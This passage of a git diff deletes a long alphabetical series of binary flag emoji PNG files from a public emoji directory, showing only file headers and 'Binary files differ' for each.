diff --git a/public/-/emojis/2/flag_ao.png b/public/-/emojis/2/flag_ao.png
deleted file mode 100644
index 09bfd646fa4..00000000000
--- a/public/-/emojis/2/flag_ao.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_aq.png b/public/-/emojis/2/flag_aq.png
deleted file mode 100644
index 919c72ebf53..00000000000
--- a/public/-/emojis/2/flag_aq.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ar.png b/public/-/emojis/2/flag_ar.png
deleted file mode 100644
index f137e18850a..00000000000
--- a/public/-/emojis/2/flag_ar.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_as.png b/public/-/emojis/2/flag_as.png
deleted file mode 100644
index 39ea41d72d7..00000000000
--- a/public/-/emojis/2/flag_as.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_at.png b/public/-/emojis/2/flag_at.png
deleted file mode 100644
index ee31d6b2154..00000000000
--- a/public/-/emojis/2/flag_at.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_au.png b/public/-/emojis/2/flag_au.png
deleted file mode 100644
index ca874733b4d..00000000000
--- a/public/-/emojis/2/flag_au.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_aw.png b/public/-/emojis/2/flag_aw.png
deleted file mode 100644
index edd15f3c8f9..00000000000
--- a/public/-/emojis/2/flag_aw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ax.png b/public/-/emojis/2/flag_ax.png
deleted file mode 100644
index 533f857bd6b..00000000000
--- a/public/-/emojis/2/flag_ax.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_az.png b/public/-/emojis/2/flag_az.png
deleted file mode 100644
index 53559f0ddef..00000000000
--- a/public/-/emojis/2/flag_az.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ba.png b/public/-/emojis/2/flag_ba.png
deleted file mode 100644
index e97bfee36da..00000000000
--- a/public/-/emojis/2/flag_ba.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bb.png b/public/-/emojis/2/flag_bb.png
deleted file mode 100644
index 37685e1b6a0..00000000000
--- a/public/-/emojis/2/flag_bb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bd.png b/public/-/emojis/2/flag_bd.png
deleted file mode 100644
index 46ffaed691b..00000000000
--- a/public/-/emojis/2/flag_bd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_be.png b/public/-/emojis/2/flag_be.png
deleted file mode 100644
index acb37c6d59b..00000000000
--- a/public/-/emojis/2/flag_be.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bf.png b/public/-/emojis/2/flag_bf.png
deleted file mode 100644
index b55a8567f22..00000000000
--- a/public/-/emojis/2/flag_bf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bg.png b/public/-/emojis/2/flag_bg.png
deleted file mode 100644
index bc4ad177e23..00000000000
--- a/public/-/emojis/2/flag_bg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bh.png b/public/-/emojis/2/flag_bh.png
deleted file mode 100644
index bfae1faaf4e..00000000000
--- a/public/-/emojis/2/flag_bh.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bi.png b/public/-/emojis/2/flag_bi.png
deleted file mode 100644
index 1dfc423d99b..00000000000
--- a/public/-/emojis/2/flag_bi.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bj.png b/public/-/emojis/2/flag_bj.png
deleted file mode 100644
index 944b14310a4..00000000000
--- a/public/-/emojis/2/flag_bj.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bl.png b/public/-/emojis/2/flag_bl.png
deleted file mode 100644
index 914946c5552..00000000000
--- a/public/-/emojis/2/flag_bl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_black.png b/public/-/emojis/2/flag_black.png
deleted file mode 100644
index 35cbef3be39..00000000000
--- a/public/-/emojis/2/flag_black.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bm.png b/public/-/emojis/2/flag_bm.png
deleted file mode 100644
index b9d8eda3d3c..00000000000
--- a/public/-/emojis/2/flag_bm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bn.png b/public/-/emojis/2/flag_bn.png
deleted file mode 100644
index a64a2ba4ea4..00000000000
--- a/public/-/emojis/2/flag_bn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bo.png b/public/-/emojis/2/flag_bo.png
deleted file mode 100644
index f0edd7425f7..00000000000
--- a/public/-/emojis/2/flag_bo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bq.png b/public/-/emojis/2/flag_bq.png
deleted file mode 100644
index a9837302836..00000000000
--- a/public/-/emojis/2/flag_bq.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_br.png b/public/-/emojis/2/flag_br.png
deleted file mode 100644
index 520183625a8..00000000000
--- a/public/-/emojis/2/flag_br.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bs.png b/public/-/emojis/2/flag_bs.png
deleted file mode 100644
index c72c43a33d2..00000000000
--- a/public/-/emojis/2/flag_bs.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bt.png b/public/-/emojis/2/flag_bt.png
deleted file mode 100644
index 6ff124af98e..00000000000
--- a/public/-/emojis/2/flag_bt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bv.png b/public/-/emojis/2/flag_bv.png
deleted file mode 100644
index 1e0b327b0cd..00000000000
--- a/public/-/emojis/2/flag_bv.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bw.png b/public/-/emojis/2/flag_bw.png
deleted file mode 100644
index 3fdfbd95c06..00000000000
--- a/public/-/emojis/2/flag_bw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_by.png b/public/-/emojis/2/flag_by.png
deleted file mode 100644
index 4281c18eb61..00000000000
--- a/public/-/emojis/2/flag_by.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_bz.png b/public/-/emojis/2/flag_bz.png
deleted file mode 100644
index 1027a16d54c..00000000000
--- a/public/-/emojis/2/flag_bz.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ca.png b/public/-/emojis/2/flag_ca.png
deleted file mode 100644
index a99aff2c140..00000000000
--- a/public/-/emojis/2/flag_ca.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cc.png b/public/-/emojis/2/flag_cc.png
deleted file mode 100644
index e0584775d8c..00000000000
--- a/public/-/emojis/2/flag_cc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cd.png b/public/-/emojis/2/flag_cd.png
deleted file mode 100644
index 5b36dc1f9cb..00000000000
--- a/public/-/emojis/2/flag_cd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cf.png b/public/-/emojis/2/flag_cf.png
deleted file mode 100644
index 74e62a1aa99..00000000000
--- a/public/-/emojis/2/flag_cf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cg.png b/public/-/emojis/2/flag_cg.png
deleted file mode 100644
index 9f9aa86a02f..00000000000
--- a/public/-/emojis/2/flag_cg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ch.png b/public/-/emojis/2/flag_ch.png
deleted file mode 100644
index be401cd4481..00000000000
--- a/public/-/emojis/2/flag_ch.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ci.png b/public/-/emojis/2/flag_ci.png
deleted file mode 100644
index c00ea5825b8..00000000000
--- a/public/-/emojis/2/flag_ci.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ck.png b/public/-/emojis/2/flag_ck.png
deleted file mode 100644
index c808d958407..00000000000
--- a/public/-/emojis/2/flag_ck.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cl.png b/public/-/emojis/2/flag_cl.png
deleted file mode 100644
index 95b874155fe..00000000000
--- a/public/-/emojis/2/flag_cl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cm.png b/public/-/emojis/2/flag_cm.png
deleted file mode 100644
index cb7a1f1058b..00000000000
--- a/public/-/emojis/2/flag_cm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cn.png b/public/-/emojis/2/flag_cn.png
deleted file mode 100644
index e9b2666150c..00000000000
--- a/public/-/emojis/2/flag_cn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_co.png b/public/-/emojis/2/flag_co.png
deleted file mode 100644
index c4e72e94dcd..00000000000
--- a/public/-/emojis/2/flag_co.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cp.png b/public/-/emojis/2/flag_cp.png
deleted file mode 100644
index e1979bf4094..00000000000
--- a/public/-/emojis/2/flag_cp.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cr.png b/public/-/emojis/2/flag_cr.png
deleted file mode 100644
index 1527c3fc744..00000000000
--- a/public/-/emojis/2/flag_cr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cu.png b/public/-/emojis/2/flag_cu.png
deleted file mode 100644
index 9c8ad0e9eb1..00000000000
--- a/public/-/emojis/2/flag_cu.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cv.png b/public/-/emojis/2/flag_cv.png
deleted file mode 100644
index 1e011cb8bbc..00000000000
--- a/public/-/emojis/2/flag_cv.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cw.png b/public/-/emojis/2/flag_cw.png
deleted file mode 100644
index 9a387552531..00000000000
--- a/public/-/emojis/2/flag_cw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cx.png b/public/-/emojis/2/flag_cx.png
deleted file mode 100644
index e5e3407ba12..00000000000
--- a/public/-/emojis/2/flag_cx.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cy.png b/public/-/emojis/2/flag_cy.png
deleted file mode 100644
index c0c5eb2ba3b..00000000000
--- a/public/-/emojis/2/flag_cy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_cz.png b/public/-/emojis/2/flag_cz.png
deleted file mode 100644
index d2b9dcea54b..00000000000
--- a/public/-/emojis/2/flag_cz.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_de.png b/public/-/emojis/2/flag_de.png
deleted file mode 100644
index 7f0d09cc683..00000000000
--- a/public/-/emojis/2/flag_de.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_dg.png b/public/-/emojis/2/flag_dg.png
deleted file mode 100644
index 36b67642991..00000000000
--- a/public/-/emojis/2/flag_dg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_dj.png b/public/-/emojis/2/flag_dj.png
deleted file mode 100644
index 4e682dc1c47..00000000000
--- a/public/-/emojis/2/flag_dj.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_dk.png b/public/-/emojis/2/flag_dk.png
deleted file mode 100644
index c1d393db132..00000000000
--- a/public/-/emojis/2/flag_dk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_dm.png b/public/-/emojis/2/flag_dm.png
deleted file mode 100644
index 19cfcd31817..00000000000
--- a/public/-/emojis/2/flag_dm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_do.png b/public/-/emojis/2/flag_do.png
deleted file mode 100644
index de6c71b6798..00000000000
--- a/public/-/emojis/2/flag_do.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_dz.png b/public/-/emojis/2/flag_dz.png
deleted file mode 100644
index 73bb08feb3e..00000000000
--- a/public/-/emojis/2/flag_dz.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ea.png b/public/-/emojis/2/flag_ea.png
deleted file mode 100644
index c5d83a83b3e..00000000000
--- a/public/-/emojis/2/flag_ea.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ec.png b/public/-/emojis/2/flag_ec.png
deleted file mode 100644
index ccfa50b1199..00000000000
--- a/public/-/emojis/2/flag_ec.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ee.png b/public/-/emojis/2/flag_ee.png
deleted file mode 100644
index 3b8eb8b0ca1..00000000000
--- a/public/-/emojis/2/flag_ee.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_eg.png b/public/-/emojis/2/flag_eg.png
deleted file mode 100644
index 342060ed0a4..00000000000
--- a/public/-/emojis/2/flag_eg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_eh.png b/public/-/emojis/2/flag_eh.png
deleted file mode 100644
index e6fe6b7ca9b..00000000000
--- a/public/-/emojis/2/flag_eh.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_er.png b/public/-/emojis/2/flag_er.png
deleted file mode 100644
index 4485146535e..00000000000
--- a/public/-/emojis/2/flag_er.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_es.png b/public/-/emojis/2/flag_es.png
deleted file mode 100644
index c5d83a83b3e..00000000000
--- a/public/-/emojis/2/flag_es.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_et.png b/public/-/emojis/2/flag_et.png
deleted file mode 100644
index e013e56705f..00000000000
--- a/public/-/emojis/2/flag_et.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_eu.png b/public/-/emojis/2/flag_eu.png
deleted file mode 100644
index b45598312ad..00000000000
--- a/public/-/emojis/2/flag_eu.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_fi.png b/public/-/emojis/2/flag_fi.png
deleted file mode 100644
index 7f1fbbd2a4b..00000000000
--- a/public/-/emojis/2/flag_fi.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_fj.png b/public/-/emojis/2/flag_fj.png
deleted file mode 100644
index 89658cdab95..00000000000
--- a/public/-/emojis/2/flag_fj.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_fk.png b/public/-/emojis/2/flag_fk.png
deleted file mode 100644
index 9649cedba40..00000000000
--- a/public/-/emojis/2/flag_fk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_fm.png b/public/-/emojis/2/flag_fm.png
deleted file mode 100644
index 8f632ed1a67..00000000000
--- a/public/-/emojis/2/flag_fm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_fo.png b/public/-/emojis/2/flag_fo.png
deleted file mode 100644
index cc1e42fe824..00000000000
--- a/public/-/emojis/2/flag_fo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_fr.png b/public/-/emojis/2/flag_fr.png
deleted file mode 100644
index e1979bf4094..00000000000
--- a/public/-/emojis/2/flag_fr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ga.png b/public/-/emojis/2/flag_ga.png
deleted file mode 100644
index f4154b73c5c..00000000000
--- a/public/-/emojis/2/flag_ga.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gb.png b/public/-/emojis/2/flag_gb.png
deleted file mode 100644
index 189b3730a13..00000000000
--- a/public/-/emojis/2/flag_gb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gd.png b/public/-/emojis/2/flag_gd.png
deleted file mode 100644
index c5121e04c15..00000000000
--- a/public/-/emojis/2/flag_gd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ge.png b/public/-/emojis/2/flag_ge.png
deleted file mode 100644
index fbbc9a6a44e..00000000000
--- a/public/-/emojis/2/flag_ge.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gf.png b/public/-/emojis/2/flag_gf.png
deleted file mode 100644
index d2b525c9410..00000000000
--- a/public/-/emojis/2/flag_gf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gg.png b/public/-/emojis/2/flag_gg.png
deleted file mode 100644
index c85ae6293c2..00000000000
--- a/public/-/emojis/2/flag_gg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gh.png b/public/-/emojis/2/flag_gh.png
deleted file mode 100644
index 7fdb16cfff0..00000000000
--- a/public/-/emojis/2/flag_gh.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gi.png b/public/-/emojis/2/flag_gi.png
deleted file mode 100644
index c954527c7b6..00000000000
--- a/public/-/emojis/2/flag_gi.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gl.png b/public/-/emojis/2/flag_gl.png
deleted file mode 100644
index 77410c58b26..00000000000
--- a/public/-/emojis/2/flag_gl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gm.png b/public/-/emojis/2/flag_gm.png
deleted file mode 100644
index d1025389465..00000000000
--- a/public/-/emojis/2/flag_gm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gn.png b/public/-/emojis/2/flag_gn.png
deleted file mode 100644
index a3e271eed30..00000000000
--- a/public/-/emojis/2/flag_gn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gp.png b/public/-/emojis/2/flag_gp.png
deleted file mode 100644
index ac19c152f6c..00000000000
--- a/public/-/emojis/2/flag_gp.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gq.png b/public/-/emojis/2/flag_gq.png
deleted file mode 100644
index 95fddac392d..00000000000
--- a/public/-/emojis/2/flag_gq.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gr.png b/public/-/emojis/2/flag_gr.png
deleted file mode 100644
index d0edbb32227..00000000000
--- a/public/-/emojis/2/flag_gr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gs.png b/public/-/emojis/2/flag_gs.png
deleted file mode 100644
index 1cb7eb826bd..00000000000
--- a/public/-/emojis/2/flag_gs.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gt.png b/public/-/emojis/2/flag_gt.png
deleted file mode 100644
index 378785d9c22..00000000000
--- a/public/-/emojis/2/flag_gt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gu.png b/public/-/emojis/2/flag_gu.png
deleted file mode 100644
index f569714680c..00000000000
--- a/public/-/emojis/2/flag_gu.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gw.png b/public/-/emojis/2/flag_gw.png
deleted file mode 100644
index 04985210c1b..00000000000
--- a/public/-/emojis/2/flag_gw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_gy.png b/public/-/emojis/2/flag_gy.png
deleted file mode 100644
index aa44462bf15..00000000000
--- a/public/-/emojis/2/flag_gy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_hk.png b/public/-/emojis/2/flag_hk.png
deleted file mode 100644
index e1964074314..00000000000
--- a/public/-/emojis/2/flag_hk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_hm.png b/public/-/emojis/2/flag_hm.png
deleted file mode 100644
index 35fddc996eb..00000000000
--- a/public/-/emojis/2/flag_hm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_hn.png b/public/-/emojis/2/flag_hn.png
deleted file mode 100644
index 52eb69c2fd6..00000000000
--- a/public/-/emojis/2/flag_hn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_hr.png b/public/-/emojis/2/flag_hr.png
deleted file mode 100644
index 33a4bd59db7..00000000000
--- a/public/-/emojis/2/flag_hr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ht.png b/public/-/emojis/2/flag_ht.png
deleted file mode 100644
index 21d5372ea3a..00000000000
--- a/public/-/emojis/2/flag_ht.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_hu.png b/public/-/emojis/2/flag_hu.png
deleted file mode 100644
index ace327ff2b5..00000000000
--- a/public/-/emojis/2/flag_hu.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ic.png b/public/-/emojis/2/flag_ic.png
deleted file mode 100644
index 2bca51e6348..00000000000
--- a/public/-/emojis/2/flag_ic.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_id.png b/public/-/emojis/2/flag_id.png
deleted file mode 100644
index b1007b3d4f0..00000000000
--- a/public/-/emojis/2/flag_id.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ie.png b/public/-/emojis/2/flag_ie.png
deleted file mode 100644
index 61be75ed30e..00000000000
--- a/public/-/emojis/2/flag_ie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_il.png b/public/-/emojis/2/flag_il.png
deleted file mode 100644
index 57e389f065f..00000000000
--- a/public/-/emojis/2/flag_il.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_im.png b/public/-/emojis/2/flag_im.png
deleted file mode 100644
index 5aec251d1bb..00000000000
--- a/public/-/emojis/2/flag_im.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_in.png b/public/-/emojis/2/flag_in.png
deleted file mode 100644
index 30810b39499..00000000000
--- a/public/-/emojis/2/flag_in.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_io.png b/public/-/emojis/2/flag_io.png
deleted file mode 100644
index 035179ef172..00000000000
--- a/public/-/emojis/2/flag_io.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_iq.png b/public/-/emojis/2/flag_iq.png
deleted file mode 100644
index 8b03d70cbcd..00000000000
--- a/public/-/emojis/2/flag_iq.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ir.png b/public/-/emojis/2/flag_ir.png
deleted file mode 100644
index a09f895a770..00000000000
--- a/public/-/emojis/2/flag_ir.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_is.png b/public/-/emojis/2/flag_is.png
deleted file mode 100644
index 5f0c3d29a14..00000000000
--- a/public/-/emojis/2/flag_is.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_it.png b/public/-/emojis/2/flag_it.png
deleted file mode 100644
index 9382a0998c5..00000000000
--- a/public/-/emojis/2/flag_it.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_je.png b/public/-/emojis/2/flag_je.png
deleted file mode 100644
index 83733fa3fbb..00000000000
--- a/public/-/emojis/2/flag_je.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_jm.png b/public/-/emojis/2/flag_jm.png
deleted file mode 100644
index f88649d79c3..00000000000
--- a/public/-/emojis/2/flag_jm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_jo.png b/public/-/emojis/2/flag_jo.png
deleted file mode 100644
index 03992d8af2a..00000000000
--- a/public/-/emojis/2/flag_jo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_jp.png b/public/-/emojis/2/flag_jp.png
deleted file mode 100644
index 945cd6f00cd..00000000000
--- a/public/-/emojis/2/flag_jp.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ke.png b/public/-/emojis/2/flag_ke.png
deleted file mode 100644
index e13136cd507..00000000000
--- a/public/-/emojis/2/flag_ke.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_kg.png b/public/-/emojis/2/flag_kg.png
deleted file mode 100644
index 9f678eb5643..00000000000
--- a/public/-/emojis/2/flag_kg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_kh.png b/public/-/emojis/2/flag_kh.png
deleted file mode 100644
index db7e46a1fa1..00000000000
--- a/public/-/emojis/2/flag_kh.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ki.png b/public/-/emojis/2/flag_ki.png
deleted file mode 100644
index 43645481c70..00000000000
--- a/public/-/emojis/2/flag_ki.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_km.png b/public/-/emojis/2/flag_km.png
deleted file mode 100644
index d6eee9ee709..00000000000
--- a/public/-/emojis/2/flag_km.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_kn.png b/public/-/emojis/2/flag_kn.png
deleted file mode 100644
index 7ead65807d1..00000000000
--- a/public/-/emojis/2/flag_kn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_kp.png b/public/-/emojis/2/flag_kp.png
deleted file mode 100644
index 45c92856b3d..00000000000
--- a/public/-/emojis/2/flag_kp.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_kr.png b/public/-/emojis/2/flag_kr.png
deleted file mode 100644
index b91857300f7..00000000000
--- a/public/-/emojis/2/flag_kr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_kw.png b/public/-/emojis/2/flag_kw.png
deleted file mode 100644
index ceb44954b3f..00000000000
--- a/public/-/emojis/2/flag_kw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ky.png b/public/-/emojis/2/flag_ky.png
deleted file mode 100644
index 87808968024..00000000000
--- a/public/-/emojis/2/flag_ky.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_kz.png b/public/-/emojis/2/flag_kz.png
deleted file mode 100644
index c67ea99ef89..00000000000
--- a/public/-/emojis/2/flag_kz.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_la.png b/public/-/emojis/2/flag_la.png
deleted file mode 100644
index 903a32bd84b..00000000000
--- a/public/-/emojis/2/flag_la.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_lb.png b/public/-/emojis/2/flag_lb.png
deleted file mode 100644
index cc95f1764ec..00000000000
--- a/public/-/emojis/2/flag_lb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_lc.png b/public/-/emojis/2/flag_lc.png
deleted file mode 100644
index 432f27c34b6..00000000000
--- a/public/-/emojis/2/flag_lc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_li.png b/public/-/emojis/2/flag_li.png
deleted file mode 100644
index 4771ac86e76..00000000000
--- a/public/-/emojis/2/flag_li.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_lk.png b/public/-/emojis/2/flag_lk.png
deleted file mode 100644
index 42b6d4a67dc..00000000000
--- a/public/-/emojis/2/flag_lk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_lr.png b/public/-/emojis/2/flag_lr.png
deleted file mode 100644
index 07d9645296f..00000000000
--- a/public/-/emojis/2/flag_lr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ls.png b/public/-/emojis/2/flag_ls.png
deleted file mode 100644
index 845425fa5db..00000000000
--- a/public/-/emojis/2/flag_ls.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_lt.png b/public/-/emojis/2/flag_lt.png
deleted file mode 100644
index 7f17225a098..00000000000
--- a/public/-/emojis/2/flag_lt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_lu.png b/public/-/emojis/2/flag_lu.png
deleted file mode 100644
index a8ce98a38b5..00000000000
--- a/public/-/emojis/2/flag_lu.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_lv.png b/public/-/emojis/2/flag_lv.png
deleted file mode 100644
index 622a7bbff75..00000000000
--- a/public/-/emojis/2/flag_lv.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ly.png b/public/-/emojis/2/flag_ly.png
deleted file mode 100644
index 1088bb176d9..00000000000
--- a/public/-/emojis/2/flag_ly.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ma.png b/public/-/emojis/2/flag_ma.png
deleted file mode 100644
index 468818f3143..00000000000
--- a/public/-/emojis/2/flag_ma.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mc.png b/public/-/emojis/2/flag_mc.png
deleted file mode 100644
index 3922043a973..00000000000
--- a/public/-/emojis/2/flag_mc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_md.png b/public/-/emojis/2/flag_md.png
deleted file mode 100644
index 608da074736..00000000000
--- a/public/-/emojis/2/flag_md.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_me.png b/public/-/emojis/2/flag_me.png
deleted file mode 100644
index 73e8adbfd02..00000000000
--- a/public/-/emojis/2/flag_me.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mf.png b/public/-/emojis/2/flag_mf.png
deleted file mode 100644
index e1979bf4094..00000000000
--- a/public/-/emojis/2/flag_mf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mg.png b/public/-/emojis/2/flag_mg.png
deleted file mode 100644
index d391d06a684..00000000000
--- a/public/-/emojis/2/flag_mg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mh.png b/public/-/emojis/2/flag_mh.png
deleted file mode 100644
index cffc1b2e814..00000000000
--- a/public/-/emojis/2/flag_mh.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mk.png b/public/-/emojis/2/flag_mk.png
